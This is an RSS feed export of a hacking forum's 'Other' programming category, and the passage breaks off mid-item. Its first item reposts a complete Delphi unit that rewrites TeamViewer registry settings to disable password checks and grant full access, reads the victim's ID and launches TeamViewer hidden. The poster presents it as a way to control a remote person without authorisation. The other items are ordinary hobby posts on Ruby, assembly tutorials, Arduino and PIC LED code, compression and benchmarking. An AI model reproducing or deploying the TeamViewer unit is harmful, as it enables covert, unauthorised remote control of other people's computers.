<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
      <title>Other - iExploit</title>
      <link>http://iexploit.org/index.php?p=/categories/other/feed.rss</link>
      <pubDate>Sat, 25 May 13 03:01:20 -0400</pubDate>
         <description>Other - iExploit</description>
   <language>en-CA</language>
   <atom:link href="/index.php?p=/discussions/feed.rss" rel="self" type="application/rss+xml" />
   <item>
      <title>Â« Teamviewer Hack Unit [delphi] Â»</title>
      <link>http://iexploit.org/index.php?p=/discussion/1379/a-teamviewer-hack-unit-delphi-a</link>
      <pubDate>Fri, 01 Oct 2010 13:18:06 -0400</pubDate>
      <dc:creator>CustomiZer</dc:creator>
      <guid isPermaLink="false">1379@/index.php?p=/discussions</guid>
      <description><![CDATA[<span style="font-family: Trebuchet MS;">Hello members, <br><br>thought I would share with you guys.<br>This is a really sample way to hack the team viewer legal software with this unit<br>you can down the protection and get the logins of teamviewer !<br>then you can control the remote guy without any autorisation : &gt;&gt; Only by<br>registry !<br><br><br>(*<br>--<br>Author   &amp;#58; DarkCoderSc<br>From  &amp;#58; France<br>Mail  &amp;#58; DarkCoderSc@Unremote&amp;#46;org<br>--<br>Comunity &amp;#58; Http&amp;#58;//www&amp;#46;opensc&amp;#46;ws/<br>--<br>Require Registry&amp;#46;pas , Classes , Sysutils to be add in uses<br>--<br>*)<br><br>unit UntTVHack;<br><br>interface<br><br>Uses Windows,Registry,Sysutils,ShellAPI;<br>{--}<br>Procedure TVUnactivePassWD;<br>Procedure TVFullAccess;<br>Function TVID &amp;#58; Integer;<br>Function TVFormatIDToString(TID&amp;#58;Integer) &amp;#58; String;<br>Procedure RunTVHide;<br>Function TVCheckVersion &amp;#58; String;<br>Function TVGetFullVersion &amp;#58; String;<br>Function GetTVPath&amp;#58;String;<br>{--}<br>implementation<br><br>{--}<br>Const TeamViewer0 = 'SOFTWARE\TeamViewer';<br>{--}<br><br>{Get the TV Version--}<br>Function TVCheckVersion &amp;#58; String;<br>var Reg &amp;#58; TRegistry;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0,True);<br>If Reg&amp;#46;KeyExists('Version3') Then Result &amp;#58;= '\Version3';<br>If Reg&amp;#46;KeyExists('Version4') Then Result &amp;#58;= '\Version4';<br>If Not (Reg&amp;#46;KeyExists('Version4')) Or (Reg&amp;#46;KeyExists('Version3')) Then<br>Result &amp;#58;= '&amp;#91;Not Installed&amp;#93;';<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br><br>{Get the Full TV Version--}<br>Function TVGetFullVersion &amp;#58; String;<br>var Reg &amp;#58; TRegistry;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion,True);<br>Result &amp;#58;= Reg&amp;#46;ReadString('Version');<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br><br>{This will unactive team viewer pass word protection O_o}<br>Procedure TVUnactivePassWD;<br>var Reg &amp;#58; TRegistry;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion,True);<br>Reg&amp;#46;WriteInteger('Security_PasswordStrength',3); // Disable Password query<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br><br>{This will give the full access of dekstop and files}<br>Procedure TVFullAccess;<br>var Reg &amp;#58; TRegistry;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);<br>Reg&amp;#46;WriteInteger('AC_Server_AccessControlType',0); // Disable Password query<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br><br>{This will give the Team Viewer ID}<br>Function TVID &amp;#58; Integer;<br>var Reg &amp;#58; TRegistry;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion,True);<br>Result &amp;#58;= Reg&amp;#46;ReadInteger('ClientID'); // Disable Password query<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br><br>{This little function will format in String- the TeamViewer ID}<br>Function TVFormatIDToString(TID&amp;#58;Integer) &amp;#58; String;<br>Var bloc,bloc1,bloc2,bloc3&amp;#58;String;<br>Begin<br>bloc &amp;#58;= IntToStr(TID);<br>{Parse ID--}<br>bloc1 &amp;#58;= Copy(bloc,1,3);<br>Delete(bloc,1,3);<br>bloc2 &amp;#58;= Copy(bloc,1,3);<br>Delete(bloc,1,3);<br>bloc3 &amp;#58;= Copy(bloc,1,3);<br>Delete(bloc,1,3);<br>{--}<br>Result &amp;#58;= bloc1+' '+bloc2+' '+bloc3;<br>End;<br>{--}<br><br>{Now Launch Team Viewer Hidely}<br>Procedure RunTVHide;<br>var Reg &amp;#58; TRegistry;<br>TVPATH &amp;#58; String;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion,True);<br>TVPath &amp;#58;= Reg&amp;#46;ReadString('Security_Application_Path'); // Get TV Path<br>{--}<br>ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br><br>Function GetTVPath&amp;#58;String;<br>var Reg &amp;#58; TRegistry;<br>TVPATH &amp;#58; String;<br>Begin<br>Reg &amp;#58;= TRegistry&amp;#46;Create;<br>{--}<br>Reg&amp;#46;RootKey &amp;#58;= HKEY_LOCAL_MACHINE;<br>Reg&amp;#46;OpenKey(TeamViewer0+TVCheckVersion,True);<br>TVPath &amp;#58;= Reg&amp;#46;ReadString('Security_Application_Path'); // Get TV Path<br>{--}<br>Result &amp;#58;= TVPath;<br>{--}<br>Reg&amp;#46;CloseKey;<br>Reg&amp;#46;Free;<br>End;<br>{--}<br>end&amp;#46;<br><br><br><b><span style="color: #00BFFF;">Author </span></b>  : DarkCoderSc<br><b><span style="color: #00BFFF;">From </span></b>    : France<br><span style="color: #00BFFF;"><b>Coded in</b></span> : Delphi<br>All credits goes to the author (DarkCoderSc) I take no credits in this. I just did a copy paste :P<br>Enjoy  <br><br>-CustomiZer<br><br><b><span style="color: #FF0000;">EDIT :</span></b> Members don't PM me asking what it is and what to do. I'll never teach you. Learn it yourself or this is not for you.</span>]]></description>
   </item>
   <item>
      <title>[Ruby] Random String Generator Script</title>
      <link>http://iexploit.org/index.php?p=/discussion/6261/ruby-random-string-generator-script</link>
      <pubDate>Fri, 15 Feb 2013 15:38:47 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">6261@/index.php?p=/discussions</guid>
      <description><![CDATA[So iv been continueing to learn Ruby and one of the things iv been looking to fit into a script was Ranges, anyway i finally found something i could use them with and here it is... My Random String Generator script.<div><br></div><div>Used Pastebin due to this forums dislike for special chars:&nbsp;<a rel="nofollow" href="http://pastebin.com/As6z2NEy" style="font-size: 10pt;">http://pastebin.com/As6z2NEy</a></div><br>]]></description>
   </item>
   <item>
      <title>[Ruby] Multi User login script (My First Ruby Script)</title>
      <link>http://iexploit.org/index.php?p=/discussion/6256/ruby-multi-user-login-script-my-first-ruby-script</link>
      <pubDate>Tue, 05 Feb 2013 16:30:00 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">6256@/index.php?p=/discussions</guid>
      <description><![CDATA[So for the past few days iv been working to get my head around Ruby and is syntax and so for my first little project i decided to make myself a multi user login system with a multi dimensional array to represent real database structure. So here is my code.<div><br></div><div>Had to use Pastebin due to the forums mission to remove special chars:&nbsp;<a href="http://pastebin.com/e0vBLiMU" target="_blank" rel="nofollow">http://pastebin.com/e0vBLiMU</a></div>]]></description>
   </item>
   <item>
      <title>Decided to start learning Ruby</title>
      <link>http://iexploit.org/index.php?p=/discussion/6254/decided-to-start-learning-ruby</link>
      <pubDate>Sun, 03 Feb 2013 09:30:29 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">6254@/index.php?p=/discussions</guid>
      <description><![CDATA[So iv spent alot of time over the last few years using PHP and Perl but it seems that Perl is going nowhere and if anything its dieing out. With this i have decided to learn Ruby, i had a hard look at Python but due to the rails framework drifted towards Ruby.<div><br></div><div>So if you have any tips etc. Feel free to share them.</div>]]></description>
   </item>
   <item>
      <title>help with learning Assembly Language</title>
      <link>http://iexploit.org/index.php?p=/discussion/6217/help-with-learning-assembly-language</link>
      <pubDate>Tue, 27 Nov 2012 06:27:11 -0500</pubDate>
      <dc:creator>DManHack</dc:creator>
      <guid isPermaLink="false">6217@/index.php?p=/discussions</guid>
      <description><![CDATA[Hey,<br><br>I'm very much new to exploit writing/analysis... i was wondering if any one knows of any good links where someone has written a tutorial on the assembly language. I've searched for some assembly language tutorials in the iExploit but whatever I could find is either the link is dead or it has been removed...<br><br>Thanks for the help,<br>-DManHack<br>]]></description>
   </item>
   <item>
      <title>Microcontroller programming</title>
      <link>http://iexploit.org/index.php?p=/discussion/6214/microcontroller-programming</link>
      <pubDate>Sat, 10 Nov 2012 14:59:07 -0500</pubDate>
      <dc:creator>x3n0n</dc:creator>
      <guid isPermaLink="false">6214@/index.php?p=/discussions</guid>
      <description><![CDATA[<span style="font-family: Arial, Verdana; font-size: small;">This is something a bit more advanced than just programming and exploiting, but I think it's&nbsp;definitely something to look into for any novice hacker.</span><div><span style="font-family: Arial, Verdana; font-size: small;">It may enable you to alter characteristics of certain hardware and f.e. enable a wireless reciever to send altered packets for wireless hacking. (that way you don't have to buy any specific hardware, you can just do it yourself)</span></div><div><span style="font-family: Arial, Verdana; font-size: small;">You don't really need to have any knowledge for this, you can just follow the series and you will be able to follow everything. (although&nbsp;a basic knowledge of electric circuits and C/C++ comes in really handy)!</span></div><div><span style="font-family: Arial, Verdana; font-size: small;"><br></span></div><div><span style="font-family: Arial, Verdana; font-size: small;">This is a youtube series on this subject, and it's really good!&nbsp;</span></div><div><span style="font-family: Arial, Verdana; font-size: small;">Here is the link ;) Just start with 1 and follow through if you're up for it!</span></div><div><span style="font-family: Arial, Verdana; font-size: small;"><a rel="nofollow" href="http://www.youtube.com/playlist?annotation_id=annotation_648754&amp;feature=iv&amp;list=PLE72E4CFE73BD1DE1">http://www.youtube.com/playlist?annotation_id=annotation_648754&amp;feature=iv&amp;list=PLE72E4CFE73BD1DE1</a></span></div><div><br></div><div><span style="font-family: Arial, Verdana; font-size: small;">If I find some more information on this subject, I will post it here ;) (I'm currently trying to reprogram my own microcontroller to make the lights on my keyboard work again, else it would cost me more than 100$ to fix it)</span></div><div><span style="font-family: Arial, Verdana; font-size: small;"><br></span></div><div><span style="font-family: Arial, Verdana; font-size: small;">Hope you find this interresting ;)</span></div><div><span style="font-family: Arial, Verdana; font-size: small;"><br></span></div><div><span style="font-family: Arial, Verdana; font-size: small;">Greetz,</span></div><div><span style="font-family: Arial, Verdana; font-size: small;">x3n0n</span></div>]]></description>
   </item>
   <item>
      <title>Win32 Assembly Tutorials [Must See!]</title>
      <link>http://iexploit.org/index.php?p=/discussion/2208/win32-assembly-tutorials-must-see</link>
      <pubDate>Wed, 26 Jan 2011 22:22:04 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2208@/index.php?p=/discussions</guid>
      <description><![CDATA[So your probably here bumping post counts orr... because you want to learn asm, hopefully i'll help both lol. This selection of tutorials looks perfect from what I can see. I'll be working through them and thought i'd share :)<br><br><a class="postlink" rel="nofollow" href="http://win32assembly.online.fr/tutorials.html">http://win32assembly.online.fr/tutorials.html</a><br><br>S-P]]></description>
   </item>
   <item>
      <title>Assembly Language for x86 Processors (6th Edition)</title>
      <link>http://iexploit.org/index.php?p=/discussion/1561/assembly-language-for-x86-processors-6th-edition</link>
      <pubDate>Mon, 01 Nov 2010 04:04:19 -0400</pubDate>
      <dc:creator>Bursihido</dc:creator>
      <guid isPermaLink="false">1561@/index.php?p=/discussions</guid>
      <description><![CDATA[http&#58;//www&#46;informit&#46;com/ShowCover&#46;aspx?isbn=013602212X<br><br><span style="color: #FF0000;"><span>Click &gt;&gt;&gt; knowledge is power :)</span></span>]]></description>
   </item>
   <item>
      <title>HTML Special Character Replacement Tool [Ruby]</title>
      <link>http://iexploit.org/index.php?p=/discussion/6142/html-special-character-replacement-tool-ruby</link>
      <pubDate>Sun, 02 Sep 2012 09:57:01 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">6142@/index.php?p=/discussions</guid>
      <description><![CDATA[I coded this as a quick solution for iexploit. As there are issues with the WAF or forum software replacing code in legit programs with html special characters it's quite annoying to edit by hand.<br><br>So let me present my script to do it for you. It's been tested with C++ code. I've also included only a few html special characters and their normal equiv. If you want to expand the hash it's easy. If you struggle give me a buzz and I'll try and help. I've only tried it with one input file so let me know if there are any issues with it. If you don't want to show output just comment out "puts output" and "puts text"<br><br>Usage: script.rb &lt;input_filename&gt; &lt;input_filename2&gt; ...etc<br><br><a href="http://codepad.org/u5OyvQnO" target="_blank" rel="nofollow">http://codepad.org/u5OyvQnO</a> <br>]]></description>
   </item>
   <item>
      <title>[Scala] text compression CLI tool</title>
      <link>http://iexploit.org/index.php?p=/discussion/6024/scala-text-compression-cli-tool</link>
      <pubDate>Sun, 13 May 2012 12:38:42 -0400</pubDate>
      <dc:creator>Deque</dc:creator>
      <guid isPermaLink="false">6024@/index.php?p=/discussions</guid>
      <description><![CDATA[Hello iExploit,<br><br>this is the first tool I created with Scala, it <br>is also the first time I am dealing with text compression. But it was a <br>lot of fun.<br>This tool uses the LZW algorithm to compress text files for you. <br><br><b><span style="color: #006600; font-size: large;">Usage</span></b><br><br><span style="color: #000099;"><b><span style="color: #ffa500;" class="bbc_color">Run:</span></b></span><br><br>For compression:<br><br>scala lzw.jar -c &lt;filename&gt; [&lt;wordsize&gt;]<br><br>For decompression:<br><br>scala lzw.jar -d &lt;filename&gt; [&lt;wordsize&gt;]<br><br>For version:<br><br>scala lzw.jar -v<br><br><b><span style="color: #ffa500;" class="bbc_color">Example:</span></b><br><br>scala lzw.jar -c input.txt 16<br><br><b><span style="color: #ffa500;" class="bbc_color">Example Output:</span></b><br><br>Compression done. Created output file input1.lzw<br>size of the input file: 1257260<br>size of the compressed file: 539175<br>compression ratio: 57%<br><b><br><span style="color: #ffa500;" class="bbc_color">Additional information:</span></b><br><br>A wordsize of 12 is usually good for small files, a wordsize of 16 or <br>more for large files. The default wordsize used will be 14 bits.<br><br>The wordsize for decompression <em>must</em> be the same as you used for compression. Otherwise it won't work.<span style="font-size: medium;"><b><span style="color: #006600;"></span></b></span><br><br>I made some tests that show the compression ratio for different wordsizes:<br><br><img src="http://s14.directupload.net/images/120513/kwzyrlsi.gif" alt="image"><br><br><b><span style="color: #006600; font-size: large;">Download</span></b><br><br>Source and jar:<a rel="nofollow" href="http://www.2shared.com/file/oeZNb3mW/lzw.html"> lzw.zip</a><br><br>I would like to show the source right here, but it makes the post too long.<br><br>Have fun<br>Deque]]></description>
   </item>
   <item>
      <title>SourcEx.info - The Source Code Database</title>
      <link>http://iexploit.org/index.php?p=/discussion/5650/sourcex-info-the-source-code-database</link>
      <pubDate>Mon, 08 Aug 2011 14:51:51 -0400</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5650@/index.php?p=/discussions</guid>
      <description><![CDATA[[align=center]http&#58;//www&#46;sourcex&#46;info/images/logo&#46;png[/align]<br><br>http&#58;//www&#46;sourcex&#46;info<br><br>SourcEx a free source code database, it is basiclly a search engine for source codes it links to sites that contain the code or you can paste it via our Paste bin API.<br><br>Thanks to everyone who submits there code, you are helping me aswell as other people.<br><br>http&#58;//www&#46;sourcex&#46;info]]></description>
   </item>
   <item>
      <title>Performance Measurement</title>
      <link>http://iexploit.org/index.php?p=/discussion/5889/performance-measurement</link>
      <pubDate>Fri, 23 Sep 2011 18:44:47 -0400</pubDate>
      <dc:creator>Deque</dc:creator>
      <guid isPermaLink="false">5889@/index.php?p=/discussions</guid>
      <description><![CDATA[Hello guys,<br><br>I am now in my last phase of the bachelor thesis which includes performance tests for report generation. I already knew how to do this in general, but some pitfalls were new to me. This is what I got after research and talking to my supervisor. This paper will give you some advice how to do performance measurement for your algorithms.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">1. Remove console outputs, turn off logging</span></span><br><br>Once you are sure your code works correcty you should turn off everything that eats time, but doesn't belong to your algorithm. In most cases this will be prints to the console. You don't believe this takes so long? I give you an example. This simple Java program generates a given number of primes and puts them into an array. There is one print to the console for testing purposes. Run this program once with the System.out.println and once without.<br><br>[spoiler]<div class="PreContainer"><pre>public class PrimeGenerator {<br><br>	public static void main(String&amp;#91;&amp;#93; args) {<br>		long start = System&amp;#46;nanoTime();<br>		new PrimeGenerator()&amp;#46;generatePrimesArray(100000);<br>		long end = System&amp;#46;nanoTime();<br>		System&amp;#46;out&amp;#46;println(\&quot;time in milliseconds&amp;#58; \&quot; + (end - start) / 1000000);<br>	}<br><br>	private int&amp;#91;&amp;#93; generatePrimesArray(int number) {<br>		int&amp;#91;&amp;#93; primes = new int&amp;#91;number&amp;#93;;<br>		for (int primesFound = 0, i = 0; primesFound &amp;lt; number; i++) {<br>			if (isPrime(i)) {<br>				System&amp;#46;out&amp;#46;println((primesFound + 1) + \&quot;&amp;#58; \&quot; + i); // delete this line for the second try<br>				primes&amp;#91;primesFound&amp;#93; = i;<br>				primesFound++;<br>			}<br>		}<br>		return primes;<br>	}<br><br>	private boolean isPrime(int n) {<br>		if (n &amp;lt; 2) {<br>			return false;<br>		}<br>		if (n == 2) {<br>			return true;<br>		}<br>		for (int i = 2; i &amp;lt; Math&amp;#46;sqrt(n); i++) {<br>			if (n % i == 0) {<br>				return false;<br>			}<br>		}<br>		return true;<br>	}<br><br>}<br></pre></div>[/spoiler]<br><br>My results: <br>With System.out.println: 1071 ms<br>Without System.out.println: 425 ms<br><br>The advantage of logging over simple console prints is that you can determine the importance of your outputs. This is done via a loglevel. In case you use logging, you may turn the loglevel to ERROR or SEVERE. It is still nice to know, if something went wrong (your measuring will not work in that case anyways). If your code runs without errors there will be no output to log files or the console which is the goal. If you want outputs that don't affect the measurement, because they are right after or right before the measuring, just use the error stream.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">2. Be careful with every test that takes only a few milliseconds</span></span><br><br>Most of the time-measuring functions use the system clock. Depending on your OS you will only get an accuracy of 10 to 15 ms. Everything that lasts a few milliseconds can't be measured that way.<br><br>Here are some options to solve the problem:<br><br>1. Make your task bigger:<br>I.e. if you measure the time for reading a wordlist, you should make the list much bigger. If you have a prime generator, generate more primes.<br><br>2. Use a timer that has a better resolution. Some languages provide this. I.e. for Java you should use System.nanoTime() instead of System.currentTimeMillis(). Beware that nanoTime() gives you a result in nanoseconds, but the accuracy won't be this good. It depends on your system and OS. <br><br>3. There are also ways to change the update time of your OS, so it will be less than 10 or 15 ms. You may get an accuracy of 1 ms by doing this. But take into account that the call to get the time also takes time itself.<br><br>4. Repeat your task. <br>You should measure this way (pseudocode):<br><br><div class="PreContainer"><pre>start = getTime();<br>for(i = 0; i &amp;lt; TIMES; i++){<br>   myTask();<br>}<br>end = getTime();<br>result = (end - start) / TIMES;</pre></div><br><br>This also avoids spending too much time on the getTime() calls.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">3. Measure more than once, divide measurement into several sessions</span></span><br><br>Don't measure your algorithm only once. You should measure several times and take the average of that as result. In addition you should repeat the measurement some time later. Especially when your algorithm doesn't take very long. Every process running in the background may have an effect on your results. If you do several sessions of testing you may see if something really went wrong the last try (have you forgot to shut down some programs?).<br><br><span style="font-size: large;"><span style="color: #00FFFF;">4. Always use the same machine and OS to compare results</span></span><br><br>That should be self-explanatory.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">5. Shut down every program that isn't needed</span></span><br><br>That should be self-explanatory.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">6. Delete temporary files for every turn</span></span><br><br>If your program produces temporary files that it uses further for its tasks, you should of course delete them in every turn. Example: The reporting module I work on creates a temporary report document. This document already contains the data that is needed and is only there to produce several file formats (PDF, DOC, HTML, ...) out of it. If I run the same task several times, the report file creation will rather take this temporary document than produce a new one, which means I can't take into account how long it needs to get the data out of the database. Therefore I need to clear the temporary file directory for each turn.<br><br>You may not run into this problem that often, if you use your own programs, because you know how they work. But if you use any frameworks or libraries you might forget that they can produce temporary files.<br><br><span style="font-size: large;"><span style="color: #00FFFF;">7. Don't measure the first executions</span></span><br><br>Your very first execution of your algorithm will always take longer then the executions afterwards. The main reason is your cache that will be filled with everything your program needs. Thus the algorithm will get some speed after the first run. If you know how. you may empty the cache every turn. The other option is that you just do some executions before you measure the time. You can test how many executions you need to do before by looking at the first results. <br><br><span style="font-size: large;"><span style="color: #00FFFF;">8. Don't measure the time your environment needs to start up</span></span><br><br>Java example: The JVM needs some time to start up. So if you use an external program for measurement, make sure you don't measure this part.<br><br>Deque]]></description>
   </item>
   <item>
      <title>code for sandbox of 8 LED</title>
      <link>http://iexploit.org/index.php?p=/discussion/5784/code-for-sandbox-of-8-led</link>
      <pubDate>Mon, 29 Aug 2011 19:06:06 -0400</pubDate>
      <dc:creator>cyberpirate</dc:creator>
      <guid isPermaLink="false">5784@/index.php?p=/discussions</guid>
      <description><![CDATA[hello everyone again.. Here is the code for sandbox of 8 LED for microcontroller pic18<br><div class="PreContainer"><pre><br>#include&amp;lt;p18cxxx&amp;#46;h&amp;gt;<br>unsigned char var, var1,var2,i,j;<br>void main()<br>{<br>TRISD=0x00;<br>var=0x00;<br>i=0x08;<br>while(1)<br>{<br>var2=0x00;<br>j=i;<br>for(i=8;i&amp;gt;0;i--)<br>{<br>var=var2;<br>var1=0x01;<br>for(j=i;j&amp;gt;0;j--)<br>{<br>var2=var+var1;<br>LATD=var2;<br>var1=var1&amp;lt;&amp;lt;1;<br>}<br>}<br>}<br>}<br></pre></div>]]></description>
   </item>
   <item>
      <title>Arduino 4 Led Alternate Blink</title>
      <link>http://iexploit.org/index.php?p=/discussion/5755/arduino-4-led-alternate-blink</link>
      <pubDate>Tue, 23 Aug 2011 22:55:54 -0400</pubDate>
      <dc:creator>Xin</dc:creator>
      <guid isPermaLink="false">5755@/index.php?p=/discussions</guid>
      <description><![CDATA[Experimenting with Arduino, so posting sources here for anyone that may need them.<br><br><div class="PreContainer"><pre>int led1 = 11;<br>int led2 = 12;<br>int led3 = 10;<br>int led4 = 9;<br><br><br>void setup() {<br>  pinMode(led1, OUTPUT);<br>  pinMode(led2, OUTPUT);<br>  pinMode(led3, OUTPUT);<br>  pinMode(led4, OUTPUT);<br>  <br>}<br><br>void loop() {<br>  digitalWrite(led1, HIGH);<br>  digitalWrite(led2, LOW);<br>  digitalWrite(led3, LOW);<br>  digitalWrite(led4, LOW);<br>  delay(200);<br>  digitalWrite(led1, LOW);<br>  digitalWrite(led2, HIGH);<br>  digitalWrite(led3, LOW);<br>  digitalWrite(led4, LOW);<br>  delay(200);<br>  digitalWrite(led1, LOW);<br>  digitalWrite(led2, LOW);<br>  digitalWrite(led3, HIGH);<br>  digitalWrite(led4, LOW);<br>  delay(200);<br>  digitalWrite(led1, LOW);<br>  digitalWrite(led2, LOW);<br>  digitalWrite(led3, LOW);<br>  digitalWrite(led4, HIGH);<br>  delay(200);<br>}<br><br></pre></div>]]></description>
   </item>
   <item>
      <title>Here is the code for convergence and divergence of 8 LED with pic</title>
      <link>http://iexploit.org/index.php?p=/discussion/5782/here-is-the-code-for-convergence-and-divergence-of-8-led-with-pic</link>
      <pubDate>Sun, 28 Aug 2011 18:39:18 -0400</pubDate>
      <dc:creator>cyberpirate</dc:creator>
      <guid isPermaLink="false">5782@/index.php?p=/discussions</guid>
      <description><![CDATA[Hey guys here is the code for convergence and divergence of 8 LED with pic18f4580 micro controller..<br><br><div class="PreContainer"><pre><br>#include&amp;lt;p18cxxx&amp;#46;h&amp;gt;<br>void delay(void);<br>unsigned char var1,var2,i;<br>void main()<br>{<br>TRISD=0x00;<br>while(1)<br>{<br>var1=0x01;<br>var2=0x80;<br>for(i=0;i&amp;lt;=7;i++)<br>{<br>LATD=var1|var2;<br>var1=var1&amp;lt;&amp;lt;1;<br>var2=var2&amp;gt;&amp;gt;1;<br>delay();<br>}<br>}<br>}<br>void delay(void)<br>{<br>int j;<br>for(j=0;j&amp;lt;=4;j++)<br>{<br>;<br>}<br>}</pre></div><br><br>NOTE: Delay used here is not a standard time delay..]]></description>
   </item>
   <item>
      <title>Arduino Tilt Switch Led Blink Schematic + Code</title>
      <link>http://iexploit.org/index.php?p=/discussion/5757/arduino-tilt-switch-led-blink-schematic-code</link>
      <pubDate>Wed, 24 Aug 2011 17:52:12 -0400</pubDate>
      <dc:creator>Xin</dc:creator>
      <guid isPermaLink="false">5757@/index.php?p=/discussions</guid>
      <description><![CDATA[http&#58;//i&#46;imgur&#46;com/TMOvK&#46;png<br>http&#58;//i&#46;imgur&#46;com/XU62e&#46;png<br><div class="PreContainer"><pre>int buttonpin = 2;<br>int buttonstate = 0;<br>int led1 = 12;<br>void setup() {<br>  pinMode(led1, OUTPUT);<br>  pinMode(buttonpin, INPUT);  <br>}<br><br>void loop() {<br>  buttonstate = digitalRead(buttonpin);<br>  Serial&amp;#46;println(digitalRead(buttonpin));<br>  if (buttonstate == HIGH) {<br>  digitalWrite(led1, HIGH);<br>    <br>  }<br>else {<br>  digitalWrite(led1, LOW);<br>  <br>  }<br>}<br></pre></div>]]></description>
   </item>
   <item>
      <title>[Haskell] mirrorrank</title>
      <link>http://iexploit.org/index.php?p=/discussion/5711/haskell-mirrorrank</link>
      <pubDate>Wed, 17 Aug 2011 22:12:23 -0400</pubDate>
      <dc:creator>Deque</dc:creator>
      <guid isPermaLink="false">5711@/index.php?p=/discussions</guid>
      <description><![CDATA[I made a little script that takes a newly updated mirrorlist, removes all comments from the german servers and calls rankmirrors with this new list afterwards to sort the mirrors by speed. It just automates the process of doing this (under "Sorting mirrors").<br><br>I know that this is not much, I just thought it might be interesting.<br><br><div class="PreContainer"><pre>import Data&amp;#46;List<br>import System&amp;#46;Cmd<br><br>main = do <br>	x &amp;lt;- readFile \&quot;/etc/pacman&amp;#46;d/mirrorlist&amp;#46;pacnew\&quot;<br>	writeFile \&quot;/etc/pacman&amp;#46;d/mirrorlist&amp;#46;backup\&quot; $ unlines (prepareList (lines x)) <br>	system \&quot;rankmirrors -n 6 /etc/pacman&amp;#46;d/mirrorlist&amp;#46;backup &amp;gt; /etc/pacman&amp;#46;d/mirrorlist\&quot;<br><br>prepareList &amp;#58;&amp;#58; &amp;#91;String&amp;#93; -&amp;gt; &amp;#91;String&amp;#93;<br>prepareList xss = _prepareList xss \&quot;German\&quot; \&quot;#\&quot; \&quot;Server\&quot;<br><br>_prepareList &amp;#58;&amp;#58; Eq a =&amp;gt; &amp;#91;&amp;#91;a&amp;#93;&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;&amp;#91;a&amp;#93;&amp;#93;<br>_prepareList xss start comment server = case xss of<br>	&amp;#91;&amp;#93; -&amp;gt; &amp;#91;&amp;#93;<br>	xs &amp;#58; xss' -&amp;gt; if contains xs start<br>			then &amp;#91;xs&amp;#93; ++ (removeComments xss' comment server)<br>			else &amp;#91;xs&amp;#93; ++ (_prepareList xss' start comment server)<br><br>removeComments &amp;#58;&amp;#58; Eq a =&amp;gt; &amp;#91;&amp;#91;a&amp;#93;&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;&amp;#91;a&amp;#93;&amp;#93;<br>removeComments xss comment server = case xss of<br>	&amp;#91;&amp;#93; -&amp;gt; &amp;#91;&amp;#93;<br>	xs &amp;#58; xss' -&amp;gt; if contains xs server<br>			then &amp;#91;drop 1 xs&amp;#93; ++ (removeComments xss' comment server) <br>			else xs &amp;#58; xss'<br><br>contains &amp;#58;&amp;#58; Eq a =&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; &amp;#91;a&amp;#93; -&amp;gt; Bool<br>contains xs &amp;#91;&amp;#93; = True<br>contains xs (y &amp;#58; ys') = case xs of<br>	&amp;#91;&amp;#93; -&amp;gt; False<br>	x &amp;#58; xs' -&amp;gt; if x == y<br>			then contains xs' ys'<br>			else contains xs' (y &amp;#58; ys') </pre></div>]]></description>
   </item>
   <item>
      <title>Algorithims(Initially and When)</title>
      <link>http://iexploit.org/index.php?p=/discussion/5658/algorithimsinitially-and-when</link>
